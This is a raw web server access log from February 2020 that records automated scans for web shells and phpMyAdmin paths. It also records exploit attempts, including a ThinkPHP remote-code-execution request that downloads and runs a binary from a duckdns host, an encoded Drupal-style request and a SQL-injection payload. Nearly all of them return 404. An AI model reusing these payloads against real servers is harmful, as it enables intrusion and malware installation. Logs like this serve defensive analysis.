45.88.13.118 - - [10/Feb/2020:19:15:07 +0100] "GET /izom.php HTTP/1.1" 404 313 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:52.0) Gecko/20100101 Firefox/52.0"
45.88.13.118 - - [10/Feb/2020:19:15:07 +0100] "GET /payload.php HTTP/1.1" 404 316 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:52.0) Gecko/20100101 Firefox/52.0"
45.88.13.118 - - [10/Feb/2020:19:15:07 +0100] "GET /new_license.php HTTP/1.1" 404 320 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:52.0) Gecko/20100101 Firefox/52.0"
45.88.13.118 - - [10/Feb/2020:19:15:07 +0100] "GET /images/!.php HTTP/1.1" 404 317 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:52.0) Gecko/20100101 Firefox/52.0"
45.88.13.118 - - [10/Feb/2020:19:15:09 +0100] "GET /images/vuln.php HTTP/1.1" 404 320 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:52.0) Gecko/20100101 Firefox/52.0"
45.88.13.118 - - [10/Feb/2020:19:15:09 +0100] "GET /hd.php HTTP/1.1" 404 311 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:52.0) Gecko/20100101 Firefox/52.0"
45.88.13.118 - - [10/Feb/2020:19:15:09 +0100] "GET /images/up.php HTTP/1.1" 404 318 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:52.0) Gecko/20100101 Firefox/52.0"
45.88.13.118 - - [10/Feb/2020:19:15:10 +0100] "GET /images/attari.php HTTP/1.1" 404 322 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:52.0) Gecko/20100101 Firefox/52.0"
45.88.13.118 - - [10/Feb/2020:19:15:10 +0100] "GET /images/jsspwneed.php HTTP/1.1" 404 325 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:52.0) Gecko/20100101 Firefox/52.0"
45.88.13.118 - - [10/Feb/2020:19:15:10 +0100] "GET /images/stories/cmd.php HTTP/1.1" 404 327 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:52.0) Gecko/20100101 Firefox/52.0"
45.88.13.118 - - [10/Feb/2020:19:15:11 +0100] "GET /images/stories/filemga.php?ssp=RfVbHu HTTP/1.1" 404 331 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:52.0) Gecko/20100101 Firefox/52.0"
45.88.13.118 - - [10/Feb/2020:19:15:11 +0100] "GET /up.php HTTP/1.1" 404 311 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:52.0) Gecko/20100101 Firefox/52.0"
45.88.13.118 - - [10/Feb/2020:19:15:11 +0100] "GET /laravel.php HTTP/1.1" 404 316 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:52.0) Gecko/20100101 Firefox/52.0"
45.88.13.118 - - [10/Feb/2020:19:15:11 +0100] "GET /huoshan.php HTTP/1.1" 404 316 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:52.0) Gecko/20100101 Firefox/52.0"
45.88.13.118 - - [10/Feb/2020:19:15:12 +0100] "GET /yu.php HTTP/1.1" 404 311 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:52.0) Gecko/20100101 Firefox/52.0"
45.88.13.118 - - [10/Feb/2020:19:15:12 +0100] "GET /floaw.php HTTP/1.1" 404 314 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:52.0) Gecko/20100101 Firefox/52.0"
45.88.13.118 - - [10/Feb/2020:19:15:12 +0100] "GET /ftmabc.php HTTP/1.1" 404 315 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:52.0) Gecko/20100101 Firefox/52.0"
45.88.13.118 - - [10/Feb/2020:19:15:13 +0100] "GET /doudou.php HTTP/1.1" 404 315 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:52.0) Gecko/20100101 Firefox/52.0"
45.88.13.118 - - [10/Feb/2020:19:15:13 +0100] "GET /mjx.php HTTP/1.1" 404 312 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:52.0) Gecko/20100101 Firefox/52.0"
45.88.13.118 - - [10/Feb/2020:19:15:13 +0100] "GET /xiaoxia.php HTTP/1.1" 404 316 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:52.0) Gecko/20100101 Firefox/52.0"
45.88.13.118 - - [10/Feb/2020:19:15:14 +0100] "GET /yuyang.php HTTP/1.1" 404 315 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:52.0) Gecko/20100101 Firefox/52.0"
45.88.13.118 - - [10/Feb/2020:19:15:17 +0100] "GET /zz.php HTTP/1.1" 404 311 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:52.0) Gecko/20100101 Firefox/52.0"
45.88.13.118 - - [10/Feb/2020:19:15:18 +0100] "GET /coonig.php HTTP/1.1" 404 315 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:52.0) Gecko/20100101 Firefox/52.0"
45.88.13.118 - - [10/Feb/2020:19:15:18 +0100] "GET /ak.php HTTP/1.1" 404 311 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:52.0) Gecko/20100101 Firefox/52.0"
45.88.13.118 - - [10/Feb/2020:19:15:18 +0100] "GET /baidoubi.php HTTP/1.1" 404 317 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:52.0) Gecko/20100101 Firefox/52.0"
45.88.13.118 - - [10/Feb/2020:19:15:18 +0100] "GET /hhhhhh.php HTTP/1.1" 404 315 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:52.0) Gecko/20100101 Firefox/52.0"
45.88.13.118 - - [10/Feb/2020:19:15:19 +0100] "GET /meijianxue.php HTTP/1.1" 404 319 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:52.0) Gecko/20100101 Firefox/52.0"
45.88.13.118 - - [10/Feb/2020:19:15:19 +0100] "GET /no1.php HTTP/1.1" 404 312 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:52.0) Gecko/20100101 Firefox/52.0"
45.88.13.118 - - [10/Feb/2020:19:15:19 +0100] "GET /python.php HTTP/1.1" 404 315 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:52.0) Gecko/20100101 Firefox/52.0"
45.88.13.118 - - [10/Feb/2020:19:15:21 +0100] "GET /woshimengmei.php HTTP/1.1" 404 321 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:52.0) Gecko/20100101 Firefox/52.0"
45.88.13.118 - - [10/Feb/2020:19:15:21 +0100] "GET /indea.php HTTP/1.1" 404 314 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:52.0) Gecko/20100101 Firefox/52.0"
45.88.13.118 - - [10/Feb/2020:19:15:21 +0100] "GET /taisui.php HTTP/1.1" 404 315 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:52.0) Gecko/20100101 Firefox/52.0"
45.88.13.118 - - [10/Feb/2020:19:15:22 +0100] "GET /xiaxia.php HTTP/1.1" 404 315 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:52.0) Gecko/20100101 Firefox/52.0"
45.88.13.118 - - [10/Feb/2020:19:15:22 +0100] "GET /kk.php HTTP/1.1" 404 311 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:52.0) Gecko/20100101 Firefox/52.0"
45.88.13.118 - - [10/Feb/2020:19:15:22 +0100] "GET /xsser.php HTTP/1.1" 404 314 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:52.0) Gecko/20100101 Firefox/52.0"
45.88.13.118 - - [10/Feb/2020:19:15:23 +0100] "GET /zzz.php HTTP/1.1" 404 312 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:52.0) Gecko/20100101 Firefox/52.0"
45.88.13.118 - - [10/Feb/2020:19:15:23 +0100] "GET /99.php HTTP/1.1" 404 311 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:52.0) Gecko/20100101 Firefox/52.0"
45.88.13.118 - - [10/Feb/2020:19:15:23 +0100] "GET /dp.php HTTP/1.1" 404 311 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:52.0) Gecko/20100101 Firefox/52.0"
45.88.13.118 - - [10/Feb/2020:19:15:23 +0100] "GET /hs.php HTTP/1.1" 404 311 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:52.0) Gecko/20100101 Firefox/52.0"
45.88.13.118 - - [10/Feb/2020:19:15:24 +0100] "GET /1ts.php HTTP/1.1" 404 312 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:52.0) Gecko/20100101 Firefox/52.0"
45.88.13.118 - - [10/Feb/2020:19:15:24 +0100] "GET /haiyan.php HTTP/1.1" 404 315 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:52.0) Gecko/20100101 Firefox/52.0"
45.88.13.118 - - [10/Feb/2020:19:15:24 +0100] "GET /phpdm.php HTTP/1.1" 404 314 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:52.0) Gecko/20100101 Firefox/52.0"
45.88.13.118 - - [10/Feb/2020:19:15:25 +0100] "GET /root.php HTTP/1.1" 404 313 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:52.0) Gecko/20100101 Firefox/52.0"
45.88.13.118 - - [10/Feb/2020:19:15:25 +0100] "GET /5678.php HTTP/1.1" 404 313 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:52.0) Gecko/20100101 Firefox/52.0"
45.88.13.118 - - [10/Feb/2020:19:15:25 +0100] "GET /root11.php HTTP/1.1" 404 315 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:52.0) Gecko/20100101 Firefox/52.0"
45.88.13.118 - - [10/Feb/2020:19:15:26 +0100] "GET /xiu.php HTTP/1.1" 404 312 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:52.0) Gecko/20100101 Firefox/52.0"
45.88.13.118 - - [10/Feb/2020:19:15:28 +0100] "POST /wuwu11.php HTTP/1.1" 404 315 "-" "Mozilla/5.0 (X11; Linux x86_64; rv:52.0) Gecko/20100101 Firefox/52.0"
212.91.246.72 - - [10/Feb/2020:19:15:34 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
45.88.13.118 - - [10/Feb/2020:19:15:53 +0100] "POST /xw.php HTTP/1.1" 404 311 "-" "Mozilla/5.0 (X11; Linux x86_64; rv:52.0) Gecko/20100101 Firefox/52.0"
45.88.13.118 - - [10/Feb/2020:19:16:17 +0100] "POST /xw1.php HTTP/1.1" 404 312 "-" "Mozilla/5.0 (X11; Linux x86_64; rv:52.0) Gecko/20100101 Firefox/52.0"
212.91.246.72 - - [10/Feb/2020:19:16:34 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
45.88.13.118 - - [10/Feb/2020:19:16:41 +0100] "POST /9678.php HTTP/1.1" 404 313 "-" "Mozilla/5.0 (X11; Linux x86_64; rv:52.0) Gecko/20100101 Firefox/52.0"
45.88.13.118 - - [10/Feb/2020:19:17:05 +0100] "POST /wc.php HTTP/1.1" 404 311 "-" "Mozilla/5.0 (X11; Linux x86_64; rv:52.0) Gecko/20100101 Firefox/52.0"
45.56.78.64 - - [10/Feb/2020:19:17:10 +0100] "GET / HTTP/1.1" 200 1229 "-" "-"
45.88.13.118 - - [10/Feb/2020:19:17:29 +0100] "POST /xx.php HTTP/1.1" 404 311 "-" "Mozilla/5.0 (X11; Linux x86_64; rv:52.0) Gecko/20100101 Firefox/52.0"
212.91.246.72 - - [10/Feb/2020:19:17:34 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
45.88.13.118 - - [10/Feb/2020:19:17:53 +0100] "POST /xx.php HTTP/1.1" 404 311 "-" "Mozilla/5.0 (X11; Linux x86_64; rv:52.0) Gecko/20100101 Firefox/52.0"
45.88.13.118 - - [10/Feb/2020:19:18:17 +0100] "POST /s.php HTTP/1.1" 404 310 "-" "Mozilla/5.0 (X11; Linux x86_64; rv:52.0) Gecko/20100101 Firefox/52.0"
212.91.246.72 - - [10/Feb/2020:19:18:34 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
37.151.84.252 - - [10/Feb/2020:19:18:34 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
45.88.13.118 - - [10/Feb/2020:19:18:41 +0100] "POST /w.php HTTP/1.1" 404 310 "-" "Mozilla/5.0 (X11; Linux x86_64; rv:52.0) Gecko/20100101 Firefox/52.0"
45.88.13.118 - - [10/Feb/2020:19:19:05 +0100] "POST /sheep.php HTTP/1.1" 404 314 "-" "Mozilla/5.0 (X11; Linux x86_64; rv:52.0) Gecko/20100101 Firefox/52.0"
45.88.13.118 - - [10/Feb/2020:19:19:29 +0100] "GET /%73%65%65%79%6F%6E/%68%74%6D%6C%6F%66%66%69%63%65%73%65%72%76%6C%65%74 HTTP/1.1" 404 329 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:52.0) Gecko/20100101 Firefox/52.0"
45.88.13.118 - - [10/Feb/2020:19:19:30 +0100] "GET /secure/ContactAdministrators!default.jspa HTTP/1.1" 404 346 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:52.0) Gecko/20100101 Firefox/52.0"
45.88.13.118 - - [10/Feb/2020:19:19:30 +0100] "GET /weaver/bsh.servlet.BshServlet HTTP/1.1" 404 334 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:52.0) Gecko/20100101 Firefox/52.0"
45.88.13.118 - - [10/Feb/2020:19:19:30 +0100] "GET /solr/ HTTP/1.1" 404 310 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:52.0) Gecko/20100101 Firefox/52.0"
45.88.13.118 - - [10/Feb/2020:19:19:30 +0100] "POST /index.php HTTP/1.1" 404 314 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64; rv:57.0) Gecko/20100101 Firefox/57.0"
212.91.246.72 - - [10/Feb/2020:19:19:34 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
1.54.92.113 - - [10/Feb/2020:19:19:36 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
45.88.13.118 - - [10/Feb/2020:19:19:53 +0100] "POST /%75%73%65%72/%72%65%67%69%73%74%65%72?%65%6c%65%6d%65%6e%74%5f%70%61%72%65%6e%74%73=%74%69%6d%65%7a%6f%6e%65%2f%74%69%6d%65%7a%6f%6e%65%2f%23%76%61%6c%75%65&%61%6a%61%78%5f%66%6f%72%6d=1&%5f%77%72%61%70%70%65%72%5f%66%6f%72%6d%61%74=%64%72%75%70%61%6c%5f%61%6a%61%78 HTTP/1.1" 404 318 "-" "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:52.0) Gecko/20100101 Firefox/52.0"
45.88.13.118 - - [10/Feb/2020:19:20:17 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:52.0) Gecko/20100101 Firefox/52.0"
212.91.246.72 - - [10/Feb/2020:19:20:34 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
45.88.13.118 - - [10/Feb/2020:19:20:41 +0100] "GET /joomla/ HTTP/1.1" 404 312 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:52.0) Gecko/20100101 Firefox/52.0"
222.186.19.221 - - [10/Feb/2020:19:20:46 +0100] "CONNECT ip.ws.126.net:443 HTTP/1.1" 405 343 "-" "Go-http-client/1.1"
45.88.13.118 - - [10/Feb/2020:19:21:05 +0100] "GET /Joomla/ HTTP/1.1" 404 312 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:52.0) Gecko/20100101 Firefox/52.0"
45.88.13.118 - - [10/Feb/2020:19:21:29 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:52.0) Gecko/20100101 Firefox/52.0"
222.186.19.221 - - [10/Feb/2020:19:21:32 +0100] "CONNECT ip.ws.126.net:443 HTTP/1.1" 405 343 "-" "Go-http-client/1.1"
212.91.246.72 - - [10/Feb/2020:19:21:34 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
45.88.13.118 - - [10/Feb/2020:19:21:53 +0100] "GET /joomla/ HTTP/1.1" 404 312 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:52.0) Gecko/20100101 Firefox/52.0"
45.88.13.118 - - [10/Feb/2020:19:22:17 +0100] "GET /Joomla/ HTTP/1.1" 404 312 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:52.0) Gecko/20100101 Firefox/52.0"
212.91.246.72 - - [10/Feb/2020:19:22:34 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
45.88.13.118 - - [10/Feb/2020:19:22:41 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:52.0) Gecko/20100101 Firefox/52.0"
45.88.13.118 - - [10/Feb/2020:19:23:05 +0100] "GET /joomla/ HTTP/1.1" 404 312 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:52.0) Gecko/20100101 Firefox/52.0"
121.232.179.153 - - [10/Feb/2020:19:23:07 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
45.88.13.118 - - [10/Feb/2020:19:23:29 +0100] "GET /Joomla/ HTTP/1.1" 404 312 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:52.0) Gecko/20100101 Firefox/52.0"
212.91.246.72 - - [10/Feb/2020:19:23:34 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
45.88.13.118 - - [10/Feb/2020:19:23:53 +0100] "POST /%75%73%65%72%2e%70%68%70 HTTP/1.1" 404 313 "554fcae493e564ee0dc75bdf2ebf94caads|a:3:{s:2:\"id\";s:3:\"'/*\";s:3:\"num\";s:141:\"*/ union select 1,0x272F2A,3,4,5,6,7,8,0x7b247b24524345275d3b6469652f2a2a2f286d6435284449524543544f52595f534550415241544f5229293b2f2f7d7d,0--\";s:4:\"name\";s:3:\"ads\";}554fcae493e564ee0dc75bdf2ebf94ca" "Mozilla/5.0 (Windows NT 5.2) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.36 SE 2.X MetaSr 1.0"
45.88.13.118 - - [10/Feb/2020:19:23:54 +0100] "GET /index.php HTTP/1.1" 404 314 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/56.0.2924.87 Safari/537.36"
45.88.13.118 - - [10/Feb/2020:19:23:54 +0100] "GET /phpmyadmin/index.php HTTP/1.1" 404 325 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/56.0.2924.87 Safari/537.36"
45.88.13.118 - - [10/Feb/2020:19:23:54 +0100] "GET /phpMyAdmin/index.php HTTP/1.1" 404 325 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/56.0.2924.87 Safari/537.36"
45.88.13.118 - - [10/Feb/2020:19:23:54 +0100] "GET /pmd/index.php HTTP/1.1" 404 318 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/56.0.2924.87 Safari/537.36"
45.88.13.118 - - [10/Feb/2020:19:23:55 +0100] "GET /pma/index.php HTTP/1.1" 404 318 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/56.0.2924.87 Safari/537.36"
45.88.13.118 - - [10/Feb/2020:19:23:55 +0100] "GET /PMA/index.php HTTP/1.1" 404 318 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/56.0.2924.87 Safari/537.36"
45.88.13.118 - - [10/Feb/2020:19:23:55 +0100] "GET /PMA2/index.php HTTP/1.1" 404 319 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/56.0.2924.87 Safari/537.36"
45.88.13.118 - - [10/Feb/2020:19:23:56 +0100] "GET /pmamy/index.php HTTP/1.1" 404 320 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/56.0.2924.87 Safari/537.36"
45.88.13.118 - - [10/Feb/2020:19:23:57 +0100] "GET /pmamy2/index.php HTTP/1.1" 404 321 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/56.0.2924.87 Safari/537.36"
45.88.13.118 - - [10/Feb/2020:19:23:57 +0100] "GET /mysql/index.php HTTP/1.1" 404 320 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/56.0.2924.87 Safari/537.36"
45.88.13.118 - - [10/Feb/2020:19:23:58 +0100] "GET /admin/index.php HTTP/1.1" 404 320 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/56.0.2924.87 Safari/537.36"
45.88.13.118 - - [10/Feb/2020:19:23:58 +0100] "GET /db/index.php HTTP/1.1" 404 317 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/56.0.2924.87 Safari/537.36"
45.88.13.118 - - [10/Feb/2020:19:23:58 +0100] "GET /dbadmin/index.php HTTP/1.1" 404 322 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/56.0.2924.87 Safari/537.36"
45.88.13.118 - - [10/Feb/2020:19:23:58 +0100] "GET /web/phpMyAdmin/index.php HTTP/1.1" 404 329 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/56.0.2924.87 Safari/537.36"
45.88.13.118 - - [10/Feb/2020:19:23:59 +0100] "GET /admin/pma/index.php HTTP/1.1" 404 324 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/56.0.2924.87 Safari/537.36"
45.88.13.118 - - [10/Feb/2020:19:23:59 +0100] "GET /admin/PMA/index.php HTTP/1.1" 404 324 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/56.0.2924.87 Safari/537.36"
45.88.13.118 - - [10/Feb/2020:19:23:59 +0100] "GET /admin/mysql/index.php HTTP/1.1" 404 326 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/56.0.2924.87 Safari/537.36"
45.88.13.118 - - [10/Feb/2020:19:24:00 +0100] "GET /admin/mysql2/index.php HTTP/1.1" 404 327 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/56.0.2924.87 Safari/537.36"
45.88.13.118 - - [10/Feb/2020:19:24:00 +0100] "GET /admin/phpmyadmin/index.php HTTP/1.1" 404 331 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/56.0.2924.87 Safari/537.36"
45.88.13.118 - - [10/Feb/2020:19:24:00 +0100] "GET /admin/phpMyAdmin/index.php HTTP/1.1" 404 331 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/56.0.2924.87 Safari/537.36"
45.88.13.118 - - [10/Feb/2020:19:24:00 +0100] "GET /admin/phpmyadmin2/index.php HTTP/1.1" 404 332 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/56.0.2924.87 Safari/537.36"
45.88.13.118 - - [10/Feb/2020:19:24:01 +0100] "GET /mysqladmin/index.php HTTP/1.1" 404 325 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/56.0.2924.87 Safari/537.36"
45.88.13.118 - - [10/Feb/2020:19:24:01 +0100] "GET /mysql-admin/index.php HTTP/1.1" 404 326 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/56.0.2924.87 Safari/537.36"
45.88.13.118 - - [10/Feb/2020:19:24:01 +0100] "GET /mysql_admin/index.php HTTP/1.1" 404 326 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/56.0.2924.87 Safari/537.36"
45.88.13.118 - - [10/Feb/2020:19:24:02 +0100] "GET /phpadmin/index.php HTTP/1.1" 404 323 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/56.0.2924.87 Safari/537.36"
45.88.13.118 - - [10/Feb/2020:19:24:05 +0100] "GET /phpAdmin/index.php HTTP/1.1" 404 323 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/56.0.2924.87 Safari/537.36"
45.88.13.118 - - [10/Feb/2020:19:24:05 +0100] "GET /phpmyadmin0/index.php HTTP/1.1" 404 326 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/56.0.2924.87 Safari/537.36"
45.88.13.118 - - [10/Feb/2020:19:24:06 +0100] "GET /phpmyadmin1/index.php HTTP/1.1" 404 326 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/56.0.2924.87 Safari/537.36"
45.88.13.118 - - [10/Feb/2020:19:24:06 +0100] "GET /phpmyadmin2/index.php HTTP/1.1" 404 326 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/56.0.2924.87 Safari/537.36"
45.88.13.118 - - [10/Feb/2020:19:24:06 +0100] "GET /phpMyAdmin-4.4.0/index.php HTTP/1.1" 404 331 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/56.0.2924.87 Safari/537.36"
45.88.13.118 - - [10/Feb/2020:19:24:06 +0100] "GET /phpMyAdmin4.8.0/index.php HTTP/1.1" 404 330 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/56.0.2924.87 Safari/537.36"
45.88.13.118 - - [10/Feb/2020:19:24:07 +0100] "GET /phpMyAdmin4.8.1/index.php HTTP/1.1" 404 330 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/56.0.2924.87 Safari/537.36"
45.88.13.118 - - [10/Feb/2020:19:24:07 +0100] "GET /phpMyAdmin4.8.2/index.php HTTP/1.1" 404 330 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/56.0.2924.87 Safari/537.36"
45.88.13.118 - - [10/Feb/2020:19:24:07 +0100] "GET /phpMyAdmin4.8.3/index.php HTTP/1.1" 404 330 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/56.0.2924.87 Safari/537.36"
45.88.13.118 - - [10/Feb/2020:19:24:08 +0100] "GET /phpMyAdmin4.8.4/index.php HTTP/1.1" 404 330 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/56.0.2924.87 Safari/537.36"
45.88.13.118 - - [10/Feb/2020:19:24:09 +0100] "GET /phpMyAdmin4.8.5/index.php HTTP/1.1" 404 330 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/56.0.2924.87 Safari/537.36"
45.88.13.118 - - [10/Feb/2020:19:24:09 +0100] "GET /myadmin/index.php HTTP/1.1" 404 322 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/56.0.2924.87 Safari/537.36"
